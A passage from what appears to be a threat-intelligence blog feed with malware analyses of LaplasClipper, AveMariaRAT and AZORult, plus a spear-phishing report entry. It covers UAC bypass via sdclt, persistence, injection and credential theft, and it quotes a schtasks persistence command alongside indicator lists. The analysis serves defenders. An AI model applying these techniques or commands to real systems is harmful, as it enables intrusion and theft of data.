the malware would automatically alter the transaction to the attacker’s server.</p><p>An example I recently came across on Twitter by Jane (follow her at @Jane_0sint) demonstrates this process clearly on Any.Run.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e8a7ecde-4b28-4491-b0ff-571433a89cc2" alt="image"></p><p>Following this, having accumulated a considerable number of IP addresses from different analyzed samples and having spent some time researching this malware across networks, I began searching for all these servers.</p><p>The first step was to examine the domain it initially connected to, and I found that everything was associated with laplas.app. However, my attempts to access the portal proved unsuccessful, so I dug deeper to locate these servers. It turned out that they had all been moved temporarily. I recall seeing an image like this on Twitter, credited to the cyber colleague Chris Duggan (follow him at @TLP_R3D).</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/db5c7340-37fd-4ce9-9e9e-2e58db57f3dc" alt="image"></p><p>I attempted to check if the situation was the same now, and indeed, I found the same information:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/dd70f1ac-4c4a-4bb3-a4a8-2c90b4986bd5" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/25c9db67-e468-4603-9cfe-f79ae52bb047" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/f1fe3388-3409-4a55-97f9-be1a1cb458df" alt="image"></p><p>I then tried to see if I could reach the servers that the analyzed samples were connecting to (telemetry indicated that everything was fine, but I like to verify everything). I could indeed see both the previously discussed Regex patterns and the requests.</p><p>Following this, I began searching for the portal and found both Telegram groups associated with the creators and the web portal. The web portal had moved from Laplas but retained the exact same functionality. It only changed how it is accessed. Internally, it functions the same and sends information in a similar way. However, it’s now controlled from a different hosting location:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/9be55bad-bee6-4328-bbdd-9f8bd11261a2" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7fe8e695-3178-4f07-a8e6-36b0b0e58306" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/36ceaf34-10c9-48a8-bc18-cc26383737a2" alt="image"></p><p>For better clarity, I’ve created the following map to consolidate the information:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/963635c1-4cae-4bfa-8013-05c74a757033" alt="image"></p><p>LaplasClipper has seemed to me a very interesting malware, of which there is not much information, that is why I have ventured into it, I am sure that a large number of criminal groups will make use of it, as it works quite fast and is quite stealthy, we will keep track of this malware and the use they make of it, as well as if new versions appear to keep getting detection possibilities.</p><p>Finally, I would like to thank you for reading this analysis and for supporting me :)</p><h1 id="TTP"><a href="#TTP" class="headerlink" title="_TTP"></a>_TTP</h1><pre class="line-numbers language-none"><code class="language-none">[T1140] Deobfuscate&#x2F;Decode Files or Information[T1027] Obfuscated Files or Information[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys &#x2F; Startup Folder[T1129] Shared Modules[T1095] Non-Application Layer Protocol[T1106] Native API[T1543] Create or Modify System Process[T1082] System Information Discovery[T1055] Process Injection[T1115] Clipboard Data<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">78362eb5c4529001a3bc7ecab62b904afef81c63b6778ba00b99eb3398140dab11c3e7a62b3e78c6ec720aea618bf0a3854ad42535f888532c3e206f3724db4c4230177379ff0422741a5714ba02dbeccdac0edc6d2c1e4123827f23ff179e64bdf326424f960a66d01dd645db9fd335a157ceb86d7f482ff15205fa7d9cc7b0f022037056b50b4baf5db8ba0a437494662dc93cee9421ed12471e14a58a0d5022b198c5fc1e073ef00fc7a44ca20db5f44630f4e0e746abcf2060207d7129d9d30e2337e87b5bad478d20dea2fa51d38a4a9506542bdaaea7640dcc68a4432ca3f665043305d67f64f7386a8bcd89dc5ce86a76a6b5042827af58cd8b4e10f217ca2de661fa07dd83a55a5005c61eb8aee1e9cab56e9a13bc36a27f4b785554clipper[.]guru85[.]192[.]40[.]252206[.]189[.]229[.]43185[.]209[.]161[.]61168[.]100[.]10[.]23645[.]66[.]230[.]149<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;LaplasClipper (Laplas Clipper also known as Laplace Clipper) is a well-known malware that operates as a crypto clipboard hijacker. It has been in use since 2022. This malware can be purchased from its portal for as low as $49, with payment structured as a monthly subscription. LaplasClipper has been employed by various criminal threat actors to steal cryptocurrencies.&lt;/p&gt;
&lt;p&gt;This malware gains access to devices through various methods. It has been observed being distributed through YouTube video links or compromised websites, as well as links to files containing LaplasClipper loaders. It has also been delivered via spear-phishing campaigns. In recent versions of the malware, it establishes persistence in registries and injects itself into files it creates to gain an advantageous position. From there, it monitors the clipboard, waiting for cryptocurrency wallet-related information to be added. It modifies this information to hijack the cryptocurrencies to the attacker’s server.&lt;/p&gt;
&lt;p&gt;As I said, Laplas has been involved in several executions related to other malware or loaders, some of them, which are related to active groups, are the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VidarStealer&lt;/li&gt;
&lt;li&gt;SmokeLoader&lt;/li&gt;
&lt;li&gt;AresLoader&lt;/li&gt;
&lt;li&gt;RedLine Stealer&lt;/li&gt;
&lt;li&gt;AgentTesla&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
  </entry>
  
  <entry>
    <title>AveMariaRAT | WarZoneRAT</title>
    <link href="https://rexorvc0.com/2023/06/04/AveMaria/"/>
    <id>https://rexorvc0.com/2023/06/04/AveMaria/</id>
    <published>2023-06-04T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:57.562Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>AveMariaRAT, also known as WarZoneRAT, is one of the most famous and widely used RATs in recent years. It can be purchased with a license and monthly subscriptions ranging from $16 to $38 on its website. This tool is used and modified by various groups, ranging from disorganized or resource-limited individuals known as script kiddies to highly relevant criminal groups or APTs.</em></p><p><em>Some of the notable groups that have been observed using AveMariaRAT include:</em></p><ul><li>Tomiris ( 🏴 )</li><li>Carbanak | Anunak ( 🇺🇦 )</li><li>Aggah ( 🏴 )</li><li>BlindEagle | APT-C-36 ( 🇨🇴 )</li><li>Confucious ( 🇮🇳 )</li><li>SideWinder ( 🇮🇳 )</li><li>HazyTiger | Bitter ( 🇮🇳 )</li><li>FIN7 ( 🏴 )</li><li>SandWorm Team | Voodo Bear ( 🇷🇺 )</li><li>Kasablanka ( 🏴 )</li></ul><p><em>This malware, used by the mentioned groups, can infiltrate the infrastructure in various ways, from exploiting Spear-Phishing to compromising websites where it is downloaded. Once on our devices, the RAT has capabilities to escalate privileges, bypass UAC, evade defenses like security software, gather sensitive information from the device and user, and inject itself into processes to maintain active communication with the C&amp;C server operated by the attacker</em></p><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As I mentioned earlier, the threat actor commonly utilizes compromised emails or web pages with the ultimate goal of getting you to download or execute the malware sample after passing stage number 1.</p><p>An example step-by-step process of various samples I have analyzed from different versions of AveMariaRAT could be as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7b0fd7ea-31b3-4e3f-918f-6a22cd64e22a" alt="image"></p><p>The executions vary greatly depending on the version, but typically it tries to determine if it is already running on the machine using a Mutex</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0839fa96-a46f-485f-b1a1-44cac58f1697" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4a9ea3be-b4f3-47b9-ae45-1e2967427a1e" alt="image"></p><p>After that, it can perform anti-dbg&#x2F;Anti-VM tasks or directly check for security software that may be installed on the system</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/619ef405-4c83-4a9f-a9fe-785684b27f5e" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/bd1a6e15-ee06-48f3-8dd7-d0d62b513864" alt="image"></p><p>A common practice in AveMaria RAT is privilege escalation or bypassing UAC. The most common method involves abusing sdclt.exe, which, similar to CompMgmtLauncher (Windows console), searches for a library or component in a registry that is normally not present. This is exploited for hijacking by introducing a library that will be loaded, and these binaries usually have the capability to elevate themselves, allowing them to execute with higher privileges, thus running the malware with the desired privileges</p><p>Here you can see this parallelism with a PoC I made some time ago and we can see that it seeks the same in both cases:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b72185d5-ad06-4245-a594-b0e234cedd40" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/5796da24-e061-4dba-ac08-d771a9c7dfa0" alt="image"></p><p>The overall picture of how this is done with sdclt is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/5cbc41c7-9720-4e12-bfb4-e27476a6fb7b" alt="image"></p><p>Depending on the sample, there is usually a subsequent resource loading for the injection. This can be found in the resource section of the binary, and as seen, it checks if you are already an administrator, so the previous step should have been executed</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/311152d1-cecb-45cc-b9d7-3102106e3eb5" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/5ab64b8a-c286-4e63-94b1-3d2d19d21703" alt="image"></p><p>A common practice I have observed in WarZone RAT is modifying network elements, as well as modifying keys like <em>\CurrentVersion\Internet Settings</em>, where it increases the maximum number of simultaneous connections to a server. The objective for this is evident</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e37b4a51-e562-4b72-a543-c2e9550fee7d" alt="image"></p><p>Additionally, it is also quite common to see the modification of Zone.Identifier, which allows the attacked machine to receive malicious files from untrusted sources. In other contexts, the connection would be rejected or warned as an unadvisable request. However, after the modification, the malware can send and execute any type of file, bypassing any previous warning or restriction.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/62fe4010-fdb8-4d70-8ba8-1dbad1a58c4a" alt="image"></p><p>Furthermore, it is also common for the malware to make changes in security checks of certain browsers, such as Internet Explorer (IE). By changing the registry key, it can increase access to certain addresses to complement its previous behavior</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3268f312-3a1b-4883-9ef8-4e1cde5e9c51" alt="image"></p><p>After this, it is common for the malware to establish persistence. Depending on the sample, it may create a copy of itself and then add the path to \CurrentVersion\Run (or similar) registry key, or it may leave a copy of itself or a script in a startup folder that will be executed on system startup</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e331bb0a-b437-476b-b59a-4d51b7dc2df5" alt="image"></p><p>In some samples, I frequently observe the modification of folder attributes where the malware launches its copies or files it intends to use or execute. It is common to launch them in a folder like Documents or Downloads and modify the attributes to point to another location, such as ApplicationData or ProgramData. For example, it would be seen as Documents:ApplicationData. This action allows the malware to evade restrictions or security policies of the initial folder where the files are launched and potentially remain undetected. The telemetry data always reflects this pattern</p><pre class="line-numbers language-none"><code class="language-none">&lt;Original folder where the samples are launched&gt;:&lt;Folder with modified attributes&gt;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a9aeac68-5c88-40af-9cff-7cc3d9ae40b0" alt="image"></p><p>During the analysis of different samples, I notice the consistent use of various anti-debugging techniques along with frequent sleep commands that significantly slow down debugging. This forces me to bypass them entirely</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/9d37ae62-f70a-4340-986a-0ef007d5bce4" alt="image"><br><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ac9ae255-665f-4e65-9472-3ae1bfb3a72f" alt="image"><br><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d899c227-b042-4e23-bece-440be9eafe76" alt="image"></p><p>Once the sample achieves persistence, the files are launched in the desired folder, and the appropriate privileges are obtained, it commonly proceeds with the injection process. Injection serves multiple purposes: to remain hidden, complicate analysis, and ensure better persistence by residing within the target process. If the process being injected into has elevated privileges, the injected code will also inherit those privileges</p><p>Here we can see different injections performed by this RAT based on different compilations. Commonly, it extracts the code from a specific section and constructs it in memory for subsequent injection. Alternatively, it may assemble or deobfuscate the code from a resource. The target process varies depending on the samples, but I have observed processes related to .NET (such as AppLaunch, csc, RegAsm…) or the RAT itself (either a sample launched with a different name in another folder or self-executing and injecting)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2ec84d3b-b39b-4aa0-a0a3-1d8fe0e8d858" alt="image"></p><p>After this, the malware payload will be within another process and can act more freely. At this point, the most common action is to gather relevant information about the device and&#x2F;or the user, such as the operating system type, machine name, language used, etc.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/69179cec-8458-4aeb-bc6e-dfe68fe6b39d" alt="image"></p><p>Once the previous steps have been completed, the attacker focuses on establishing an external connection. Typically, the malware will have different addresses to attempt to gain access. It will commonly try to establish a connection by opening a socket to the chosen address. In the samples I have analyzed, I have observed that the malware often enters a loop where it attempts to connect to different domains from its list at regular intervals. The malware will remain waiting for instructions from the command and control (C&amp;C) server</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/000c8f31-7b81-44ad-b145-0da187865539" alt="image"></p><p>Once the connection is established, the attacker has achieved the desired objective: a malware injected into a process, whether legitimate or not, from which they can operate. They have modified network parameters, controlled security software, obtained data about the target system, and established persistence for each system login</p><h1 id="TTP"><a href="#TTP" class="headerlink" title="_TTP"></a>_TTP</h1><pre class="line-numbers language-none"><code class="language-none">[TA0003][T1060] - Persistence using startup folder [TA0003][T1060] - Persistence Using CurrentVersion\Run Registry [TA0005][T1089] - AV software check [TA0009][T1056] - Steal sensitive information [TA0007][T1057] - Check language [TA0005][T1497] - Anti-analysis techniques [TA0005][T1055] - Process Injection [TA0004][T1548] - UAC bypass abusing of sdclt [TA0005][T1055] - Load binary from resources [TA0005][T1112] - Increase the max. connections to a server abusing of Internet Settings<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">135e5dcc50f0857af71511756ec63b393f070fd188506da08012d0201360f89007dd531c1198ecf78a9d85e26db1f642de2c06d7234f46f97941afbd28bb742f0f6d6875d6ca1793369166534b041daec3f946d83df7c788ad913999ffd81eeb389e52a5612f9242ae4162ba51323010a97641be291893dcb9bc261ca26acb27ef5b814562290c60063075b290966060a79e0cc9e81cd6448d49af5c5879175f90ebeaa9a68ea0c1bf9aff1f7902d545fd5623af7aba90d8cbc53ece47f43f5196237eb7f3c5304d26fb06feafab631b64a274eb1037f51b58af5860401545726c1cc9a94713e2b614dcd99baa05c62f7cab2bb8abdb030b85a1dc539eb21dbcdb382f9a496a46db8d4eaa52ff67355a1d54ccf8531ba6d5ef06c5b445d5d43673fc341bbc5be844d20c51d8ee5356b9d44a628d0aef4e95df08b057ea6cadba3bebe61724ca5dc55a37b7c851aa645dbf7c64615e523f7dd2b901ff27d7fae03cb44a87566ee76eabd616840ed7d0f5ca8c7ec4d0f40f17642935e60af7074e719342deb77a6f03f09db95f137db0de14beb7f98c80372c21238a74d5f58b975[.]206[.]225[.]104146[.]70[.]94[.]395[.]214[.]27[.]90161[.]129[.]33[.]242173[.]212[.]207[.]73104[.]223[.]19[.]96warzonlicen1304[.]ddns[.]netdreams2reality[.]duckdns[.]orggbotowaya[.]duckdns[.]orghelpme20[.]duckdns[.]orgnewnex[.]3utilities[.]comzpec[.]ruosairus[.]duckdns[.]orglacasadelpan2024[.]duckdns[.]org<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Thank you very much for reading, happy hunting :)</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;AveMariaRAT, also known as WarZoneRAT, is one of the most famous and widely used RATs in recent years. It can be purchased with a license and monthly subscriptions ranging from $16 to $38 on its website. This tool is used and modified by various groups, ranging from disorganized or resource-limited individuals known as script kiddies to highly relevant criminal groups or APTs.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Some of the notable groups that have been observed using AveMariaRAT include:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tomiris ( 🏴 )&lt;/li&gt;
&lt;li&gt;Carbanak | Anunak ( 🇺🇦 )&lt;/li&gt;
&lt;li&gt;Aggah ( 🏴 )&lt;/li&gt;
&lt;li&gt;BlindEagle | APT-C-36 ( 🇨🇴 )&lt;/li&gt;
&lt;li&gt;Confucious ( 🇮🇳 )&lt;/li&gt;
&lt;li&gt;SideWinder ( 🇮🇳 )&lt;/li&gt;
&lt;li&gt;HazyTiger | Bitter ( 🇮🇳 )&lt;/li&gt;
&lt;li&gt;FIN7 ( 🏴 )&lt;/li&gt;
&lt;li&gt;SandWorm Team | Voodo Bear ( 🇷🇺 )&lt;/li&gt;
&lt;li&gt;Kasablanka ( 🏴 )&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;This malware, used by the mentioned groups, can infiltrate the infrastructure in various ways, from exploiting Spear-Phishing to compromising websites where it is downloaded. Once on our devices, the RAT has capabilities to escalate privileges, bypass UAC, evade defenses like security software, gather sensitive information from the device and user, and inject itself into processes to maintain active communication with the C&amp;amp;C server operated by the attacker&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="RAT" scheme="https://rexorvc0.com/tags/RAT/"/>
    
  </entry>
  
  <entry>
    <title>Evolution of Spear-Phishing techinques of Notorious Threat Groups</title>
    <link href="https://rexorvc0.com/2023/04/15/TA0001-Phishing/"/>
    <id>https://rexorvc0.com/2023/04/15/TA0001-Phishing/</id>
    <published>2023-04-15T06:00:00.000Z</published>
    <updated>2025-03-30T20:22:02.051Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Inside-Look-Evolution-of-Spear-Phishing-Techniques-of-Notorious-Threat-Groups"><a href="#Inside-Look-Evolution-of-Spear-Phishing-Techniques-of-Notorious-Threat-Groups" class="headerlink" title="_Inside Look: Evolution of Spear-Phishing Techniques of Notorious Threat Groups"></a>_Inside Look: Evolution of Spear-Phishing Techniques of Notorious Threat Groups</h1><p>In recent years, different campaigns and threats have been developing, whose entry vector has been the same: email. This initial access always seems the most absurd and unworthy of attention because companies have properly trained their employees. However, the trend tells us the opposite. Many criminal groups and APTs continue to use this technique, varying or evolving it, leaving the most vulnerable element, human error, in doubt. </p><p>Phishing (T1566), a social engineering technique used as initial access (TA0001) since the mid-90s, is nothing more than a tool to deceive the victim into providing confidential information. Attackers disguise fraudulent emails with messages that appear familiar to the victim and are difficult (in most cases) to distinguish at a glance from the legitimate ones they are trying to emulate. </p><p>Along with this technique, we have spear-phishing, which has different sub-techniques (T1566.001, T1566.002, T1566.003). It uses fraudulent emails to entice the victim to click on a link, open an attachment, etc.</p><span id="more"></span><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/d41ae2e5b740264f76f0bfe9bcf05e2c146abd1f/TA0001%20%5BPHISHING%5D/Evolution%20of%20SpearPhishing/Inside%20Look_Evolution%20of%20Spear-Phishing%20Techniques%20of%20Notorious%20Threat%20groups_EN.pdf" width="100%" height="1200"></iframe></body></html>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Inside-Look-Evolution-of-Spear-Phishing-Techniques-of-Notorious-Threat-Groups&quot;&gt;&lt;a href=&quot;#Inside-Look-Evolution-of-Spear-Phishing-Techniques-of-Notorious-Threat-Groups&quot; class=&quot;headerlink&quot; title=&quot;_Inside Look: Evolution of Spear-Phishing Techniques of Notorious Threat Groups&quot;&gt;&lt;/a&gt;_Inside Look: Evolution of Spear-Phishing Techniques of Notorious Threat Groups&lt;/h1&gt;&lt;p&gt;In recent years, different campaigns and threats have been developing, whose entry vector has been the same: email. This initial access always seems the most absurd and unworthy of attention because companies have properly trained their employees. However, the trend tells us the opposite. Many criminal groups and APTs continue to use this technique, varying or evolving it, leaving the most vulnerable element, human error, in doubt. &lt;/p&gt;
&lt;p&gt;Phishing (T1566), a social engineering technique used as initial access (TA0001) since the mid-90s, is nothing more than a tool to deceive the victim into providing confidential information. Attackers disguise fraudulent emails with messages that appear familiar to the victim and are difficult (in most cases) to distinguish at a glance from the legitimate ones they are trying to emulate. &lt;/p&gt;
&lt;p&gt;Along with this technique, we have spear-phishing, which has different sub-techniques (T1566.001, T1566.002, T1566.003). It uses fraudulent emails to entice the victim to click on a link, open an attachment, etc.&lt;/p&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="TA0001" scheme="https://rexorvc0.com/tags/TA0001/"/>
    
    <category term="OneNote" scheme="https://rexorvc0.com/tags/OneNote/"/>
    
    <category term="Emotet" scheme="https://rexorvc0.com/tags/Emotet/"/>
    
    <category term="Qbot" scheme="https://rexorvc0.com/tags/Qbot/"/>
    
    <category term="AsyncRAT" scheme="https://rexorvc0.com/tags/AsyncRAT/"/>
    
    <category term="Remcos" scheme="https://rexorvc0.com/tags/Remcos/"/>
    
  </entry>
  
  <entry>
    <title>AZOrult</title>
    <link href="https://rexorvc0.com/2023/03/13/Azorult/"/>
    <id>https://rexorvc0.com/2023/03/13/Azorult/</id>
    <published>2023-03-13T07:00:00.000Z</published>
    <updated>2025-03-30T20:21:41.440Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>AZORult is one of the best known malware within the Stealer family. It is usually sold on Russian forums for prices ranging up to $100. This malware has been used by a large number of important threat actors, including some dedicated to crime such as FIN11 or TA505 (GracefulSpider) or others that are part of a state-sponsored model such as GorgonGroup from Pakistan.</em></p><p><em>This malware usually starts from an initial point as documents via Spear-Phishing or compromised web pages and is characterized by performing different file drops that later will execute and check the connection to the C&amp;C, after this, it will steal information and create persistence or a backdoor to, before performing the exfiltration of the data, have opportunities to persist in the system and thus, the actor continue obtaining information from the system to which the affected computer belongs and sometimes pivot.</em></p><span id="more"></span><h1 id="Technical-Anlysis"><a href="#Technical-Anlysis" class="headerlink" title="_Technical Anlysis"></a>_Technical Anlysis</h1><p>As mentioned above, this malware is most commonly found after Spear-Phishing or a Web site that has been compromised. After this, its main objective will be to obtain data from elements such as search engines, FTP or emails.</p><p>An example of what its steps would be is as follows:</p><p><img src="https://user-images.githubusercontent.com/91592110/224556672-90418d79-8cd2-4e0a-b6d8-12f6a0d6fb19.png" alt="image"></p><p>Once we have a general understanding of what this malware is and what are its steps, we visualize how several samples would be executed to have the widest possible context, since, being a malware that several groups use and with the possibility of being able to buy it, we find different versions of AZORult coexisting</p><p>After reviewing dozens of samples the most common is to see executions of this one doing the first phase launching several cmd.exe to support itself in the execution while dropping other files in temporary paths or using sleeps through PS to avoid the sandbox analysis timeout or delay the execution.</p><p><img src="https://user-images.githubusercontent.com/91592110/224557218-f12f529b-0504-4c20-8c6e-de773316e5ab.png" alt="image"></p><p>During this phase, different files are launched from behind in folders such as:</p><pre class="line-numbers language-none"><code class="language-none">C:\Users\&lt;Username&gt;\AppData\*\Temp|RoamingC:\ProgramData C:\Users\&lt;Username&gt;\<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Here we will see different files among which, depending on the version, we can find scripts and other binaries that support the execution or the following file, which will be AZORult.</p><p>Before the execution of the Stealer, depending on the version, it performs different actions such as:</p><blockquote><p>Create tasks to create persistence:</p></blockquote><pre class="line-numbers language-none"><code class="language-none">schtasks &#x2F;create &#x2F;tn &#x2F;tr &quot;&lt;FilePath&gt;&quot; &#x2F;sc minute &#x2F;mo 1 &#x2F;F<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>Modify Office settings, where we can see how the Resilience or the MRU that would make changes which will indicate that you will not be able to recover Office files that you have open and that your Office history will disappear. In this case, performed on Word, which indicates that you are covering your back, as one of the samples came from Spear-Phishing</p></blockquote><p><img src="https://user-images.githubusercontent.com/91592110/224557923-144f20d2-a3ec-4a3f-ad33-2fc3a2e3794c.png" alt="image"></p><blockquote><p>Killing other processes:</p></blockquote><pre class="line-numbers language-none"><code class="language-none">Taskkill &#x2F;F &#x2F;IM winword.exe<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Or run the AZORult, which is your final objective as your initial “Dropper” part. It is worth noting, that the AZORult seen, mostly were either .NET obfuscated with SmartAssembly or AutoIT (The most common) or NullSoft, I also found some in C++</p><p><img src="https://user-images.githubusercontent.com/91592110/224557733-9b213c37-b7bb-4df3-84e8-caddd9a03d07.png" alt="image"></p><p>Once the stealer is deployed, it will perform some actions in one way or another, since, as I said, several versions usually coexist at the same time. We can see how they usually have obfuscation and&#x2F;or anti-analysis techniques</p><p><img src="https://user-images.githubusercontent.com/91592110/224558128-eaed7574-a10d-48f1-b7d5-ca517d792d47.png" alt="image"></p><p>We can see from anti-dbg where it is observed if there is any thread with the DBG, or locating the HEAP flags, in short, I have seen different ways to avoid that we analyze it at low level.</p><p>Subsequently, we can see how he tries to avoid reinfection with Mutex, but not all samples used the mutex.</p><p><img src="https://user-images.githubusercontent.com/91592110/224558271-4effb092-e566-4158-846c-3056f964f70f.png" alt="image"></p><p>During the rest of the execution, I notice how it actually tries to control at several points which processes are running on the system, usually linked to anti-analysis as well since it allows us to see if there are any applications that we do not want to be running</p><p><img src="https://user-images.githubusercontent.com/91592110/224558344-9f31784c-3927-45b2-ad39-a147198542f2.png" alt="image"></p><p>To later look for permissions that it has in execution via Token to then be able to execute elements in a different thread with the context from which it has obtained all the information related to the credentials of the main process.</p><p><img src="https://user-images.githubusercontent.com/91592110/224558593-d72e2364-d89e-4f0f-bd8b-3ca1b3e8043c.png" alt="image"></p><p>In other words, we can check if the process(Thread) in execution has enough privileges to take the thread context and execute whatever we want in the thread with the same privileges, or with the privileges of another user :)</p><p>I also find the ability to control the device by remotely shutting it down or suspending it using the Suspend + Force flag quite interesting</p><p><img src="https://user-images.githubusercontent.com/91592110/224559188-d6dc4fb4-e33c-4e7e-bd87-65ebc095e2d0.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/224559201-4f586858-a1fe-46c5-9264-b02467f898f5.png" alt="image"></p><p>In the meantime, we forget the most important parts here, which are, the information theft, where according to different samples we can see that it obtains information from elements such as:</p><ul><li>Mail informaton</li><li>Wallets</li><li>FTP</li><li>Browsers information (Cookies, History…)</li><li>SSH (Putty|WinSCP)</li></ul><p><img src="https://user-images.githubusercontent.com/91592110/224559341-381f2024-c36a-4977-a4b7-66970b6c5db8.png" alt="image"></p><p>Once you have obtained everything you wanted you make requests to the C&amp;C with all the data you have obtained. It is worth noting that most samples I have found of AZORult, before running most of its functions had a check where checks if it reached the C2, if this did not happen, automatically stopped the execution, this is quite common because it avoids that if some analysts focus on the Sandbox and the C2 falls, we can not analyze the content of what comes next, besides generating an extra layer of protection, as sometimes analysts analyze malware without internet traffic.</p><p><img src="https://user-images.githubusercontent.com/91592110/224560382-e12c1e15-a931-4261-91ed-790d33a5fa18.png" alt="image"></p><p>I have found myself analyzing quite a few samples that did not have C2 and I have had to bypass the checks or directly understand with the dissaasembly that I was doing with the context of the rest of the samples, since as you know, C&amp;Cs come and go and usually fall relatively quickly due to the great work done by the community and the companies reporting them.</p><p>Finally, it is usually observed in VT how the samples I am analyzing are related to each other to check if it leads me to IP&#x2F;Domains that are highly reported, to find more samples and therefore, different versions, to see if there is any collection where I can get more context from the intelligence part, and so on</p><p><img src="https://user-images.githubusercontent.com/91592110/224560624-6703aef0-ad96-47a7-b803-2f7965d50380.png" alt="image"></p><h1 id="Summary-of-behaviour"><a href="#Summary-of-behaviour" class="headerlink" title="_Summary of behaviour"></a>_Summary of behaviour</h1><p>Chain:</p><pre class="line-numbers language-none"><code class="language-none">Dropper &gt; Infection &gt; C2 communication &gt; Information theft &gt; Persistence and backdoor creation &gt; Encryption &gt; Data exfiltration<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Office Manipulation:</p><pre class="line-numbers language-none"><code class="language-none">(PrntPrc) Winword|Excel | TempFile &gt; 